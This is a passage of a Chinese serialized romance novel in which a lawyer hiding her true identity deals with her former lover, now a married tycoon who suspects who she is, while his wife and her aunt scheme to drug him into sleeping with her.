“……” 乔眠脑子里自动浮现出一副他跟人面对面比划手语的画面。 确实,画风挺好笑的。 不过,她知道,霍宴北是不喜欢用手语的。 曾经,他就不喜欢跟她用手语交流。 觉得在外面用手语,会招来别人的有色眼光。 以前,两人一起外出时,他就不允许她用手语。 让她读唇语,或是写字跟他交流。 她知道,他是觉得被人看到他跟一个聋哑人在一起,有些丢面…… …… 九点半。 劳斯莱斯在一家环境优雅安静的中式庭院前停驻。 下车后,由经理的带领下,她和霍宴北以及陈珂穿过长长的廊亭花园,进入一间古香古色的包间内。 因为比约定时间提前了半个小时。 对方还没有到。 等了几分钟后,对方客户一共两个人一起走进了包间。 客户叫萧明城。 年龄和身高和霍宴北差不多。 面相上,稍显成熟稳重一些。 长相英俊儒雅。 自带一股学富五车的书卷气质。 虽然不苟言笑,但是给一种很容易接近的亲和力。 “萧总。” 难得霍宴北屈尊降贵的上前,摔先朝对方伸出一只手。 萧明城面带微笑,轻握了一下手,朝他点了一下头。 余光扫过来时,在乔眠脸上停留了两秒后落座。 乔眠等霍宴北坐下后,在他身旁坐下。 陈珂坐在另一边。 很快,菜就上齐了。 因为萧明城是听障人士,所以,吃饭间少有交流。 到了真正洽谈合作时,萧明城针对合作问题,提出了几个要点。 乔眠知道霍宴北能够看懂,但毕竟在外面,还得装出他看不懂的样子,把萧明城提出的问题翻译给他听。 霍宴北听后,提出几个方案,让乔眠用手语翻译给萧明城。 双方一来一回,探讨结束后,萧明城很满意,让秘书把一份合同递了过来。 因为这个项目,不是乔眠跟进的。 是由霍氏的法务跟进的。 今天法务没来,想来,这份合同双方之前肯定已经做过几次详细的调整。 合同内容涉及的数据条款,她了解不多。 所以,合同由霍宴北亲自阅完后,直接拍板,表示同意。 双方签完字后,又去了里间茶室聊了一会儿。 过程中,乔眠就像一个翻译机器人,一刻都不敢松懈。 直到快十一点,双方才谈完。 一行人出了庭院大门,等各自的秘书将车开过来时,霍宴北来了一个电话,便走到一旁接电话去了。 身边只剩下萧明城时,乔眠显得有些拘谨。 【你叫乔眠?】 萧明城打手语,打破了沉默。 乔眠点头。 萧明城:【很好听的名字,哪个眠?” 打完手语后,从口袋掏出纸笔递给她,示意她写下来。 乔眠接过,把名字写下来后,递给他。 男人盯着纸张上‘乔眠’两个字,静静地看了数秒后,抬眸,冲着她意味深长的笑了一下,【好巧,我曾经的未婚妻,也叫乔眠。】 乔眠怔了一下。 表情不自然的弯了一下唇。 难怪今晚总觉得萧明城看着她的眼神怪怪的…… 原来是因为名字的缘故。 提及名字,乔眠忽然想起来,她用的这个名字,就是一个叫乔眠的女孩的名字。 是沪城孤儿院院长,也就是阮薇的母亲给她的身份。 那个女孩曾经就是沪城孤儿院的。 该不是,那个真正叫乔眠的女孩是这位萧先生的未婚妻? 想到这里,乔眠整个人都不淡定了。 她故作轻松的接了他刚才抛出来的话茬,【萧先生气宇不凡,想必您的未婚妻肯定是一位德惠双馨的才女吧?】 萧明城看着她,眸底泛起一丝忧伤,【在我心里,她是这世上最美好的人,只可惜……】 手语在此处停顿了一下,他皱着眉,似是不愿意说下去,但最后还是用手语打出了一个‘死’字。 乔眠怔了一下后,忙道歉,【抱歉……】 就在她还想在打探些什么时,霍宴北沉步走了过来。 跟萧明城打了一声招呼后,各自的车开了过来。 双方互相寒暄道别后,乔眠失神地站在原地。 “上车。” 霍宴北伸手揽了一下她的肩膀。 “哦……” 乔眠这才上车,坐在靠窗的位置。 “时间不早了,我送你回去。” 霍宴北说。 乔眠心不在焉的嗯了一声。 难得她没有拒绝,霍宴北侧目看了她一眼,“你跟萧总刚才在聊什么?” “哦,没什么……” “撒谎。” 霍宴北伸手捏住了她的下巴,“萧总明明说,他曾经有一个未婚妻,和你的名字一模一样,不是吗?” 乔眠没想到他打电话的功夫,还有空偷看两人打手语聊天。 “你……” 霍宴北忽然凑近她,“你说,这世上真有那么多巧合的事情吗?” “有吧……” 乔眠推开他的手,“我就是觉得萧总的未婚妻,这么年轻就死了,留下萧总一个人挺可怜的。” 霍宴北看着她,仿佛在看着曾经的阿妩,幽幽道,“乔眠,如果你是我妹妹阿妩,眼睁睁的看着我苦苦寻她,能够做到狠心不与我相认吗?” 乔眠不答反问:“霍总为什么会觉得你妹妹不愿意与你相认?难道您做过什么伤害过她的事情吗?” 霍宴北怔了一瞬后,和她刚才一样,都避开了关键问题,“如果你是阿妩,不愿意跟我相认,是我活该罢了。” 说到这里,他看向车窗外,“我妹妹阿妩很乖,哪怕我连皱一次眉,她都不舍得,乔眠,如果你真的是她的话,又怎会跟顾淮年在一起,用最残忍的方式对待我……” 第104章 霍宴北倒在她怀里睡着了 车窗外,斑驳陆离的霓虹灯透过车窗,映在女人身上。 像是加了一层柔光滤镜,朦胧了她的五官。 霍宴北目光定定的凝在她脸上,有那么一瞬间,乔眠的脸和曾经阿妩的音容笑貌不断交替变幻。 最后重叠在一起。 他缓缓伸手,温凉的手掌抚上女人的脸颊,指腹一寸寸描绘着她的眉眼。 最后,粗粝的指腹重重碾过她的唇瓣时,他忽然低头,在她唇上深深吻了一下。 就在她惊慌之下急于推开时,他松开了她的唇。 温热的额头抵着她的,高挺的鼻梁轻蹭她的鼻尖,呼吸里散着滚热的灼气,“乔眠,你一定不是我的阿妩,我的阿妩,不会一次又一次的拒绝我,更不会让我心痛……” 心痛…… 乔眠觉得这个词从他口中说出来,很违和。 他……真的会因为她心痛吗? 可他曾经明明不爱她…… 还那么嫌弃她…… 乔眠轻轻推开他,“霍总,如您所说,如果您妹妹阿妩在意您,是舍不得让您如此伤怀……所以,我的确不是您妹妹阿妩。” 语落,霍宴北倾身过来,脑袋沉靠在她肩上,呼吸灼乱的蹭着她脖颈,“可我希望你是阿妩,又不希望你是她……” 说着,他整个人的重量倒靠在她身上。 一双手臂紧紧抱住了她的腰。 “霍总,你……松开。” 乔眠抬手,推着他的肩膀。 男人却直接倒在了她腿上。 身体转了一个姿势,整张脸埋进她腰上。 她再一次推他时,箍住她腰的一双手臂越收越紧。 见他长时间没有动静,乔眠低头,仔细一瞅。 他竟是闭着眼睛……睡着了。 饭局上,他喝了一些酒,这会儿又同她说这么多。 刚才,他在她唇上吻了一下。 她能清晰的嗅到他身上混着烟草味的酒味。 这会儿,应该有些醉意,这才睡着了。 只是,他就这样躺在她腿上,抱着她的腰,脸颊还埋在她腰腹上…… 这样和一个有妇之夫的男人,亲密勾缠在一起,让乔眠从心理上感到反感。 就在她下一次推他时,开车的陈珂透过后视镜,将后车座的情况一目了然,“乔律师,霍总有点醉了,让他休息一会儿吧,要不然,他又该头疼了。” 乔眠推拒的动作停了下来,“霍总有头疼症?” 陈珂,“是的,而且还很严重,有时候发作起来,靠吃药都缓解不了,严重的时候,整个人都是抽搐的。” 乔眠听后,心间化开淡淡的酸涩。 她不禁想起上次在总裁办公室,霍宴北摁着脑袋,脸色苍白,额头冒着薄汗,脾气暴躁的打翻了她递给他的一杯茶的一幕。 原来,那次,他是头疼症犯了…… 乔眠垂眸,借着顶灯投下来的昏黄光线,望着男人即便睡着,却依旧皱着眉的面孔,心里像是被什么尖锐的棱角刮了一下似的,丝丝缕缕的疼。 “他……” 乔眠嗓音微涩,询问陈珂,“霍总是什么原因患得头痛症?” 陈珂迟疑了一下,觉得以霍总对乔律师的心思,也没什么可隐瞒的,所以就说出了实情。 “六年前,自从霍妩小姐死后,霍总就开始整宿整宿的失眠,长年累月下来就患了头疼症。” 乔眠怔了一下。 她怎么也没想到,霍宴北的头疼症,是因为她患上的。 此刻,她心里复杂极了,喃喃自语,“他很喜欢霍妩吗……” 这句话声音很小,陈珂没有听到。 躺在她怀里的男人似是听到了,脸颊又往她怀中深处蹭了蹭,唇齿间含糊不清的呓语出一句话:“阿妩,哥哥好想你……” 乔眠身体微微一僵,抬起的一只手,在空中停顿了两秒后,终是落于他肩背上,轻轻抚了一下。 此刻,他这般躺在她怀里的模样,像极了初识时,两人住在出租屋里,每次他因为眼睛看不见而大发脾气,做出自残的行为,吓得她直掉眼泪时,他又会很后悔的躺在她怀里,紧紧抱着她…… “乔律师,你怎么就跟顾律师在一起了?” 寂静的车厢内,陈珂突然的问话,将她从失神的情绪剥离出来。 乔眠紧抿着唇,没有说话。 陈珂叹了一声,“若不是顾少是霍总的发小,两人亲如兄弟,霍总肯定会……” ‘把你抢回来’ 的后半句话,陈珂没有说出来。 怕引起乔眠不安。 他能明显感觉到,每次乔律师面对霍总时,是紧张的。 即便他没有说完整那句话,乔眠也知道他要说什么。 看来,顾淮年赌对了。 霍宴北确实会顾及兄弟之间的情分,而对她不再纠缠。 至于刚才他那一吻,以及此刻亲密的举动,乔眠将一切归咎于他喝醉了…… “头痛症不能根治吗?” 沉默许久后,乔眠淡声问道。 陈珂:“其实,这些年,霍总看过不少医生治疗,但是,成效不大,医生说病灶的根源是心理上的问题,心病还需心药医。” 说到这里,陈珂重重的叹了一声,“我以为你会治愈霍总的心病,没想到你居然跟他的好朋友在一起了,乔律师,你这一杀,对霍总而言,真的很残忍。” 乔眠苦笑,“难道我就应该乖乖待在他身边,当一个替身吗?” 陈珂哑然。 一直以来,他是站在霍总的立场看待问题,其实,换个视角去想,乔眠也确实无辜。 “到了。” 陈珂往车窗外探了一眼,稳稳将车停在路边。 乔眠看着还在熟睡的男人,迟疑了几秒,抬手,试图将他从腿上推开时,男人圈住她腰的双臂蓦地一紧。 勒的她有些疼。 只得再次推他,但是,霍宴北双臂像铁钳般,死死固定在她腰上,越抱越紧。 乔眠求助的眼神看向陈珂,“你帮我把他挪走……” 陈珂下车,绕过车头,走到后车门前,打开车门,扣住霍宴北的臂膀,用了些力气才将男人从乔眠怀里拽离。 得到解脱后的乔眠,没敢耽误一分钟,下车后,回眸,深深地看了一眼倒靠在车窗的霍宴北后,转身走进了弄堂。 第105章 给霍宴北下药拿下他啊 劳斯莱斯驶离城中村后,霍宴北缓缓睁开了眼睛。 他抬手捏了捏眉心,吩咐陈珂,“最近给顾淮年找点事,别让他总来公司晃悠。” 陈珂透过后视镜,惊讶的看着醒过来的霍宴北。 “霍总,您是刚醒,还是一直就没睡着?” 如果没睡着,那么,刚才他和乔律师的谈话,霍总肯定都听见了…… 还好,他没说什么出格的话。 霍宴北没回答他的问题,而是不耐地皱了皱眉,“尽快。” 他指的是让顾淮年忙起来,别在他眼皮底下晃荡一事。 陈珂见霍总脸色不算太好,忙道,“是,我马上照办。” 等红绿灯时,他掏出手机打了一个电话。 没一会儿,绿灯亮起,车再次发动后,陈珂问,“您现在回帝景别墅吗?” 想到这两日,蒋芸住进了帝景别墅,霍宴北蹙眉道:“回公司。” …… 帝景别墅。 蒋芸望着一大桌子冷饭冷菜,气的直抱怨,“蔓蔓,我们都等了几个小时了,宴北还没回来,他这是不把你放在眼里啊!” 宋蔓拧眉,“他会回来的。” 但很快就打脸了。 霍宴北发来一条微信,说是晚上不回了。 蒋芸冷着脸道,“他怎么敢如此冷落你?霍宴北也不想想,若非当年你捧着天御公司的股份给他助力,他能当上如今的霍氏总裁吗?” “小姨,你在我面前说说就算了,这话可别在外面乱说。” 宋蔓皱着眉劝说道。 蒋芸依旧不依不饶,“我哪里说错了?蔓蔓,你也太惯着宴北了,你要是连男人的心都笼络不住的话,以后在霍家可怎么活?” 蒋芸喋喋不休的话,让宋蔓很是不耐烦。 但是,字字句句,她也听进去了。 因为,蒋芸说的是事实。 如果她连一个男人的心都拿捏不住的话,这后半辈子的漫漫长夜,又该如何渡过? “小姨……” 沉默半响,宋蔓心情低落的把一直以来羞于启齿的问题宣之于口,“宴北不肯碰我……” 蒋芸一听,愣住了几秒后,问:“他……身体出问题了?不过,别担心,我认识一个医生……” “不是。” 宋蔓打断,闭着眼睛,脸色有些难堪,“不是,是他不愿意碰我……” “什么?” 蒋芸听到这个结果,十分惊讶:“这是多久的事情了?” 宋蔓想实话实说的,但是,终是话到嘴边儿,还是为了那点可怜的自尊,维护了面子。 “挺长时间了……” 她淡声回了一句。 蒋芸有些恨铁不成钢,伸手戳了一下外甥女的脑门,嗔怪道,“你傻不傻啊?这事怎么也不早说?宴北这样……肯定是在外面有女人了!” “要不然,怎么可能放着你这么漂亮又温柔的媳妇不碰?” 宋蔓听后,苦涩笑笑。 如果他真的是因为外面有女人了,倒是还好办。 可是,只有她明白,霍宴北之所以对她冷淡,是因为这六年,心里一直放不下死去的霍妩。 可她又能如何? 跟一个死人去争吗? 想到这里,她越想越难受,趴在蒋芸怀里哭了起来,“小姨,你说我该怎么办啊?” 听宋蔓这口气,蒋芸愈加确定霍宴北之所以不碰宋蔓,是因为在外面有了女人。 至于这个女人是谁…… 蒋芸眼珠子转了转,想起一个人,立马问道,“宴北最近是不是和乔眠那个贱女人走的很近?” 上次,在商场,她就察觉到霍宴北看着乔眠的眼神不同寻常。 重点是,从看守所里出来后,听宋蔓提过,乔眠那个女人有几分像曾经的霍妩…… 这么一联想,蒋芸把矛头直指乔眠,“你说话啊,宴北到底是不是出轨了乔眠那个女人?” 是否出轨…… 宋蔓并不确定,“我不知道,她在宴北手底下做事,有来有往确实亲近许多……” “肯定是那个小贱人!” 蒋芸现在恨透了把自己送进去看守所,蹲了好几天的乔眠。 恨不得立马冲到乔眠面前,狠狠教训她一顿。 现在又得知,乔眠破坏了宋蔓的婚姻,更是恨乔眠恨得牙根痒痒。 “蔓蔓,你放心,小姨肯定会给你出这口恶气的。” 蒋芸目光闪过一抹怨毒的精光。 但是,宋蔓在乎的是另一个重点,“小姨,宴北身边有女人,也不足为惧,我现在只想怎么把他的心抓在手里,让我们的婚姻牢不可破。” 蒋芸哼笑一声,“想要把宴北绑在身边一辈子,你就赶紧跟她生个二胎,有了孩子就有了割舍不下的牵念,这男人啊,在外面玩的再花,这心啊,早晚是会收回家里的。” 说到这里,着重强调,“必须得是男胎才行,如果你生下一个男孩的话,将来必定是要继承这整个霍家以及霍氏呐!” 关于生孩子问题,宋蔓不是没有在霍宴北身上费过心思。 可是,他每次回家,除了陪孩子,就是把自己关在书房里,她连亲近他的机会都没有。 想到这些,乔眠抓住蒋芸的胳膊,“小姨,别说生孩子了,宴北现在都不肯碰我,你帮我想想,我现在到底该怎么做?” 蒋芸扫了一眼面前餐桌上几乎没有动过的饭菜不屑的哼笑道,“这还不简单?” 说到这里,她附耳过去,低声说了一句,“想要男人臣服于你,也得想点偏门……” 宋蔓听后,不太敢苟同的问,“小姨,这样行吗?如果宴北知道的话,会很生气的。” “放心,他知道也不敢拿你怎么办,你现在可是名副其实的霍太太,即便为此你们闹僵了,但等你生了男胎,他还不乖乖的把你宠到天上去了?” 宋蔓听完这些话,觉得小姨说的对。 如果她能够生下和霍宴北的孩子,他还有什么理由跟她解绑利益关系? 到时候,他即便不愿,也得把她这个霍太太的名分彻底坐实。 想到这些,宋蔓轻声说道:“小姨,你尽快帮我搞到那种药……” “放心,包在我身上。” …… 乔眠回到出租屋后,孩子们已经睡下了。 阮薇正坐在客厅看电视。 乔眠走过去坐下,“阮薇姐,你见过那个叫乔眠的女孩吗?” 第106章 上瘾了 “什么?” 这六年,阮薇脑子一时没转过弯儿来。 乔眠寻到遥控器,将电视机暂停,“乔眠这个身份,是你母亲阮院长给我的,我想了解一些乔眠本人的具体信息,你以前见过她?” 阮薇沉吟片刻道,“我爸妈离异,十八岁之前,我是跟我爸住在外省,所以,以前很少去孤儿院。” “小时候见过一两次,我都忘记她长什么样了,听我妈说,乔眠是孤儿院里最有出息的一个,十六七岁就离开孤儿院独立生活,还自考上了大学。” “只是,她性子很孤僻,平时跟孤儿院很少联系,后来失踪了,我妈报过警,但是警方也没有找到人,六年前,我妈收到过她一条遗言短信,得知她深陷东南亚,人已经没了……” 乔眠听完阮薇所述,沉思数秒后,又问,“那你有没有听阮院长提过,她……有男朋友?” “没听我妈提过呀。” 阮薇疑惑的看着她,“眠眠,你怎么想起提她了?” 乔眠把萧明城的情况说与她听。 阮薇大咧咧笑了笑,“别说这世上重名重姓人一大把,即便长得近乎一模一样的人也大有人在,或许,那个萧总的未婚妻和乔眠只是重名罢了。” 听阮薇这么一说,乔眠觉得自己可能过度敏感了。 毕竟,顶着别人的身份活着,有些心虚。 “阮薇姐,那你抽空帮我问问阮院长,关于乔眠的其他事情呗?” “眠眠,你这么在意这件事,是不是担心那个萧总怀疑你?” 阮薇问。 乔眠摇头,“萧明城有没有怀疑我的身份,我不知道,我怕的是,霍宴北会从萧明城那里探知到什么。” 今晚,他知道了她跟萧明城用手语聊天的内容。 霍宴北这个人心思深沉,哪怕嗅到一丁点信息,就会顺藤摸瓜查下去。 在车上时,他同她说的那些话,很明显带着试探。 他还是怀疑她…… “好啦,小祖宗,甭想了。” 阮薇拉着她起身,“这都大半夜了,快点洗洗睡吧,我先去床上给咱暖被窝。” 乔眠看时间已经十一点了。 明天还得早起上班,她也就没再缠着阮薇问下去。 洗完澡,回到卧室时,阮薇已经四仰八叉的睡着了。 乔眠给她盖好被子,刚躺下时,手机振动响起。 是顾淮年打来的一通电话。 怕吵醒阮薇,她走到客厅的阳台接起了电话。 “阿眠,你到家了吗?” 这一声‘阿眠’,乔眠听得脑仁疼。 反正不让顾淮年唤这个昵称,他还会想出新的比‘阿眠’还要肉麻的称呼。 她索性由着他了。 他似乎在外面,环境有点吵。 乔眠语气冷淡,“有事?” 顾淮年轻佻的语气中蕴含一丝不满,“不是让你到家给我发微信报个平安吗?你迟迟没消息,我这不是担心你,只好主动给你打电话问问你到家没有。” “哦……我到家了。” 乔眠实在适应不了一个自己很讨厌的人对自己予以关心,冷淡回了一句后,直接挂了电话。 刚准备回卧室时,顾淮年的电话又炸了过来。 她打开窗户,呼吸了一口新鲜的寒冷空气,语气中的不耐依旧明显,“顾律师,你还有什么事吗?” “阿眠,我这么关心你,你倒好,也不问问我现在在哪儿,真是没良心。” 顾淮年抱怨。 乔眠蹙眉,不想跟他闲扯,“没正事,我就挂了。” “唉……等等!” 顾淮年无奈的叹气,“我现在在机场,要去沪城出差几天,这两天不能接你上下班了。” “哦。” “哦?” 顾淮年对她这冷淡反应非常心寒,“你男朋友要出差,你就不多关心一句?说点想我啊之类的。” 乔眠无语的拧了拧眉,郑重其事的说道:“顾律师,我看你是入戏太深了,我不是你的女朋友!” 语落,直接挂断了电话。 她觉得顾淮年脑子不正常! 明明他提的假装情侣,就是装个样子。 他倒好,还演上瘾了。 为了避免他再次打电话吵她,乔眠直接把手机静音了。 回到床上后,没一会儿,就睡着了。 此时,顾淮年坐在机场vip贵宾室的沙发上。 盯着手机屏幕上备注为‘女朋友’三个字,不禁地笑了一下。 笑自己的可笑,也笑自己居然对扮演乔眠男朋友这个角色……上头了。 …… 翌日。 乔眠六点半就起床,做好了早餐。 把孩子们叫起来洗漱,又把阮薇从床上薅了起来。 “眠眠,好困哦。” 阮薇拉开一把椅子在餐桌前坐下,没骨头似的靠在她肩上。 乔眠推开她的脑袋,把一个三明治塞进她手里,“这两天辛苦你帮我接孩子,这周六,我们出去逛街,请你吃大餐。” “那敢情儿好。” 阮薇咬了一口三明治,眯着眼睛,一脸享受的吃着。 听到吃大餐,乔慕心眼睛亮亮的看向妈妈,“妈妈,我也要去吃大餐。” 乔眠揉揉女儿的小脸蛋,“傻瓜,吃好吃的怎么会忘记你这只小馋猫呢。” 乔慕城和乔慕野却是面面相觑,而后,同时瞪了一眼妹妹。 乔慕心没明白哥哥们为什么瞪她,还冲着他们吐了吐舌头,跟妈妈告状,“妈妈,哥哥们凶我。” 乔慕城无语的扶额。 乔慕野凑到哥哥耳边,小声嘀咕,“我们约好了周六跟霍叔叔见面的,乔慕心这家伙是完全不记得了呀。” 乔慕城皱了皱小眉,而后看向乔眠,“妈妈,周六我和弟弟可不可以在家?” 乔眠有些诧异,“妈妈带你们吃好吃的,你们不去吗?” 两小只同时摇头,“我们想在家打游戏。” 乔眠还想问些什么,阮薇笑着说,“行了,我看他们就是不想陪咱们逛商场溜大街。” 说到这里,阮薇自以为很懂他们的样子,揉揉两小只的脑袋,“是不是呀?” 这点,乔慕野深有感触:“陪你们女人逛街真的好累哦。” 乔慕野附和的点点头。 听着儿子们小大人似的吐槽逛街这个点时,乔眠不禁想起曾经的霍宴北。 第107章 霍宴北在她家楼下待了一夜 以前,两人在一起时,他最烦的就是逛街。 为数不多的几次逛街,也只是去电影院看场电影。 但是,每次电影内容没看几眼,倒是被他摁在怀里快亲化了。 记得有一次,去的是私人影院。 他包场。 和她在椅子上体验了一次刺激…… “妈妈,你的脸好红哦。” 乔慕心伸着小手,摸了摸她泛红的脸颊,好奇的瞅着她。 乔眠不自然地咳嗽了一声,“屋里暖气太热了……” 语落,响起了叩门声。 乔眠起身,走过去,没看猫眼,直接打开了门。 看到门口站着的霍宴北时,如同见了鬼似的,小脸白了白。 他穿着黑色毛呢大衣,黑色长裤,眉目冷峻,芝兰玉树的立在墙皮破败的走廊里,与身上清冷矜贵的气质,形成了极致的反差。 显得整个人很不真实。 乔眠愣愣的看着他,“你怎么来了?” 霍宴北薄唇轻启,刚欲开口,乔眠忽然想到什么,未等他开口说话,砰一声。 把门用力关上了。 “眠眠,谁啊?” 阮薇望向门口,问。 看着三个小宝,一个个好奇的目光,齐刷刷的落在自己身上时,乔眠用手语冲着阮薇打手语,“孩儿他爹来了……” “……” 阮薇愣了两秒后,豁地起身,一手提了一小只,另一只手拖了两小只,一边朝卧室跑,一边无无伦次的说:“去幼儿园快迟到了,干妈给你们换衣服啊。” 眼见卧室门关上,乔眠从衣架挂钩上取下一件羽绒服套在身上,打开门,就看到霍宴北脸色黑沉沉的,能拧出墨汁来。 “霍总,你……你怎么来了?” 乔眠结巴了一下,嗫喏问了一句。 然后,快速拿起搁在鞋柜上的包包往身上一挎,抬步走出门外,顺手把门关上了。 霍宴北被她一副防贼的模样气到冷笑,“就那么怕我进屋?屋里藏人了?” 乔眠抠紧包包的带子,“没有,刚才是我闺蜜在,她刚洗完澡,所以不方便请您进屋……” “是吗?” 霍宴北眸色幽深地盯着她看了数秒后,“走吧。” “哦。” 乔眠跟着他下楼,来到一楼单元门口时,反应过来,问,“霍总,您是来接我上班的?” 男人回眸,瞅她一眼,“顺路。” 乔眠诧异。 这是城中村,他还能顺路到这儿来? 乔眠不懂他心里到底在想什么。 也不想去深究。 反正再等几天,离职手续就办下来了。 在这之前,还是不要惹恼他,省的出纰漏。 “你女儿呢?不送她去幼儿园吗?” 走出单元门时,霍宴北问了一句。 乔眠回道,“我朋友在,等会儿会帮我把孩子送去幼儿园。” 刚说完,晨练回来的张婶,看到两人,热情的打招呼,“呦,小乔,这不是你那个俏表哥嘛!” 乔眠讪讪一笑,“嗯,他来看看我。” 张婶眼睛在男人身上打转,“后生,你多大,结婚没啊?在哪儿上班呢?” 不等霍宴北开口,乔眠抢先道,“我表哥他结婚了,娃都能打酱油了。” 霍宴北蹙眉瞥了乔眠一眼,“用你回答?” 乔眠抿唇不语。 张婶一脸可惜的表情,看向乔眠,“哎呦!原来结婚了啊,我还想着,要是他没结婚,我倒是可以给他介绍一个。” 说罢,眼睛又紧紧盯在乔眠脸上,“对了,小乔,上次我给你说,我有个远方亲戚的儿子,要介绍给你。” 说着,张婶从口袋掏出一张名片递给乔眠,“这是他的名片,你加他个微信,你们先聊聊熟悉熟悉,到时候约出来正式见一面啊。” 乔眠都忘记这一茬了,本想开口拒绝的,但是,又怕张婶缠着说个不完,再把她三个孩子的事情抖出来,所以,想着接过名片好立马闪人时,伸出的手却霍宴北骨节分明的大手挡了一下。 男人接过名片,看都没看一眼,直接塞进了自己口袋里,“我妹妹有男人。” “啊?小乔,你不是单身吗?什么时候有男人了?” 张婶一脸震惊的问。 乔眠被问住了。 霍宴北却已经没了耐心,伸手扣住乔眠的手腕,抬步离开了。 上车后,男人直接将口袋里的名片掏出来丢了出去。 “那是给我的……” 乔眠弱弱的提醒。 “乔律师不是有顾律师?怎么,还想收下名片,脚踏两只船?” “……” 这张嘴真是淬了毒! 乔眠抿紧唇,忍着没有怼他。 同时,注意到后车座放着一个枕头和一条厚毛毯。 第一反应是,他该不是昨夜在车里睡的吧? 而且,他没带司机。 不过,很快,就打消了这个可能性。 霍宴北老婆孩子热炕头,怎么会舍得不回家,睡车里…… 思索时,男人又揶揄了一句,“乔律师桃花挺旺,城中村一枝花吗?” 乔眠气得脸红,看向车窗外没理他。 霍宴北侧目,看她柔美的侧颜,扯了一下唇角,也没说什么。 四十分钟后,车子停在霍氏大厦负一停车场。 霍宴北刚一下车,陈珂就着急忙慌的迎了上来。 “霍总,您昨夜不是在公司办公室休息吗?后来,去哪儿了?” 男人眉头皱了皱,“我去哪儿,还需要跟你实时报备?” 说完,大步流星的朝电梯口走去。 陈珂刚欲跟上时,却看到乔眠从副驾驶坐下来。 “乔律师,你怎么……跟霍总在一起?” 陈珂惊愕的问。 乔眠刚才听到了两人的谈话,此时,一脸疑惑,“霍总他昨夜没回家吗?” “是啊,送完你后,霍总就回公司了,但是,后来,一个人开车不知道去哪儿?” 说到这里,陈珂意味深长的看着乔眠,“你跟霍总一起来的,该不是昨夜你们……” “不是。” 乔眠知道陈珂误会了,立马解释,“我是早上在家门口看到的霍总。” 陈珂一副吃惊的表情,“霍总昨夜该不是在你家楼下待了一夜?” 乔眠一怔。 不禁想起在车上看到的枕头和毛毯。 他该不是真的她家楼下待了一夜? 第108章 曾发誓和他老死不相往来 揣着这个问题走到电梯口,乔眠正欲抬手摁员工电梯时,对面已经进入专用电梯的霍宴北沉声命令,“过来。” “我……” 拒绝的话下意识就要脱口欲出,却在触及到男人那双严肃清冷的目光时,温驯的抬步走了进去。 离职之前,尽量少惹他不快。 电梯缓缓上行,乔眠规矩站在他身后的角落里。 抬起眼皮,偷偷打量着他。 注意到他袖口凌乱,大衣有些褶皱,连裤子也没有平日里熨烫的笔直。 穿的还是昨天那身衣服。 一看就知道,昨夜没有洗浴。 而且,是在车里睡了一夜…… “出来,到我办公室。”走神时,电梯已经停在三十一层。 霍宴北丢下这句话后,沉步朝办公室走去。 乔眠亦步亦趋跟出来,问陈珂,“霍总找我是有什么事吗?” 她现在对霍宴北真是怕极了。 倒不是怕被他训,而是怕他发疯纠缠。 陈珂见她一脸担忧的样子,给她吃定心丸,“霍总不像是心情不好的样子,放心,你进去后,主打一个听话就是。” 这话跟没说一样。 乔眠心情忐忑的走进办公室。 “霍总,有事您吩咐……” 她在办公桌前站定,垂着眼眸,温顺的像一只小绵羊。 但是,紧紧绞在一起的双手,出卖了她此时心里很紧张。 霍宴北收回视线,从抽屉里拿出一份合同,推到她面前,“看一下。” 乔眠疑惑的拿起来,仔细看完后,一脸惊讶地看着霍宴北,“霍总,我不是霍氏员工,您给我劳务合同做什么?” 霍宴北高大修长的身躯陷进真皮座椅里,双手交叉于怀,脸上的表情略显严肃,“你在荣华的合同还有半年就到期了,如果离职的话,可以来霍氏。” 乔眠攥着文件的手指轻轻一颤。 他突然给她这份劳务合同,难道知道她要从荣华律所离职了吗? 凝神时,男人低沉富有磁性的嗓音再次传来,“离开荣华,以你的资历,即便去别的律所就职,薪水也远远达不到霍氏法务部给你待遇。” 合同在指间攥出褶皱,乔眠咬紧了唇角。 比起掌控地方经济命脉的霍氏集团,即便爬到律师行业最顶端的翘楚,也也是资本圈的打工人和推牌手。 她刚仔细看过了,霍氏开出的年薪,比她即将要入职的同尘律所还要高出两倍。 这是一道答案很明显的选择题,无论是为名,还是为钱,换作是谁,都会选择就职霍氏。 而且,在霍氏,接触的都是顶级资本圈层的大项目。 对于她这样中庸的律师,是提升锻炼能力的绝佳机会。 甚至是改变职业命运的机遇…… 可是—— 如果不是躲霍宴北的话,她会毫不犹豫的接受这么诱人的待遇。 没人会跟钱过不去。 何况,像她这种需要养三个娃,很缺钱的人。 可是,如果真的就职霍氏,待在霍宴北身边做事,只会跟他纠缠越来越深。 两人相处久了,她的身份,终有一天会败露。 一旦霍宴北知道她是霍妩的话,以他疯批偏执的性子,是绝对不可能放开她。 再让他知晓,她给他生了三个孩子的话,他会毫不犹豫的把孩子抢走。 但要是霍家老爷子知道的话…… 霍家这样的顶级名门,极注重家世出身,即便她母凭子贵,也不可能让她进霍家的门。 所以,她最后的结果只可能是……去母留子。 这一点,六年前,霍老爷子就跟她说得很明白。 那是霍宴北和宋蔓订婚前夕,霍老爷子曾经命人把她接回老宅,跟她开诚布公的密谈了一次。 到现在,她依旧记得很清楚那天的场景。 她跪在地上。 霍老爷子拄着拐杖,将一张支票和张飞往M国的机票丢到她面前的青石地砖上,目光里充满了鄙夷和怒气。 “霍妩,当初接你回霍家,一是念在你照顾过宴北,答谢你对霍家的恩情,二是,见你无依无靠实在可怜,这才给你一个霍家千金的身份,让你衣食无忧,荣华富贵,可是,你这个丫头,未免太贪心了!” “你明知道,我反对你和宴北的事情,可你,私底下还要勾缠他,你真是忘恩负义人小白眼狼啊。” “霍妩,念在你喊了我四年的爷爷的情面上,我不会将你赶出霍家。” “我明确告诉你,即便你当宴北的外室,也不够格,如果再让媒体记者爆料出他跟自己的妹妹,还是一个聋哑人在一起过分话,霍家的脸面还要不要了?” “宴北一心要继承霍氏的野心,也会被你毁了,别忘了,当年,就是因为继承人之争,他沦落到街头,被你捡了回去。” “如果,你真的为了他好,就离开京市,出国吧,这辈子都不要再回来了。” “况且,宴北马上就和宋蔓订婚了,你继续留在霍家,不尴尬吗?” 那天,霍老爷子软硬兼施,跟她说了很多。 只有一个目的,就是要她离开霍家,离开霍宴北。 也就是从那时起,她明白,即便霍宴北不负她,她这辈子也注定和他没有结果。 而且,即便霍老爷子不找她,她也是要离开的。 她和周津南约好的,一起去沪城的。 所以,她没有拿那张支票,还有机票,她藏着怀孕的秘密,跟霍老爷子保证,“霍爷爷,您放心,等我这学期毕业,我马上会离开霍家,消失的干干净净,这辈子不会再见宴北哥……” 